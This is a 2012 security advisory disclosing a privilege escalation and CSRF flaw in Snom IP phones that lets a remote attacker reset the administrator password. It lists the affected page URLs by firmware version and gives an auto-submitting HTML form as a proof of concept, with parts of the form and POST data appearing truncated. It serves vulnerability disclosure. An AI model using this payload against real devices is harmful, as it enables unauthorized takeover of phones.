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Sense of Security – Security Advisory – SOS-12-001 – Snom IP Phone Privilege Escalation and CSRF Vulnerability


Sense of Security – Security Advisory – SOS-12-001

Release Date. 23-Feb-2012
Last Update.
Vendor Notification Date. 27-Jan-2012
Product. Snom IP Phone series
Platform. Hardware
Affected versions. All versions prior to v8.4.35
Severity Rating. High
Impact. Privilege escalation
Attack Vector. Remote without authentication
Solution Status. Vendor patch
CVE reference. CVE- Not yet assigned



The privilege escalation is possible because the form used to login as the admin user is the same form for resetting the admin password, and the user is not required to enter their old password when changing their password. This form is also vulnerable to Cross-Site Request Forgery (CSRF).


This issue is exploitable on the following pages:

Version 7, 8: http://x.x.x.x/advanced_network.htm

Version 6 and below: http://x.x.x.x/advanced.htm


Where an attacker can reset the Administrator password by removing all password attempt variables and adding the following POST data:

hidden_tag=(leave as the current post variable if CSRF
protection is enabled in firmware versions 7.1.33 and above)

After sending the request the attacker can now login as the Administrator with the credentials specified in the above request.

Proof of Concept.

<body onLoad=javascript:document.form.submit()>
<form action=” http://x.x.x.x/advanced_network.htm” name=”form”
<input type=”text” name=”admin_mode” value=”on”>
<input type=”text” name=”admin_mode_password” value=”newpass”>
<input type=”text” name=”admin_mode_password_confirm” value=”newpass”>
<input type=”text” name=”Settings” value=”save”>



Download the latest firmware version 8.4.35 for the Snom phone from:


Discovered by.

Nathaniel Carew from Sense of Security Labs.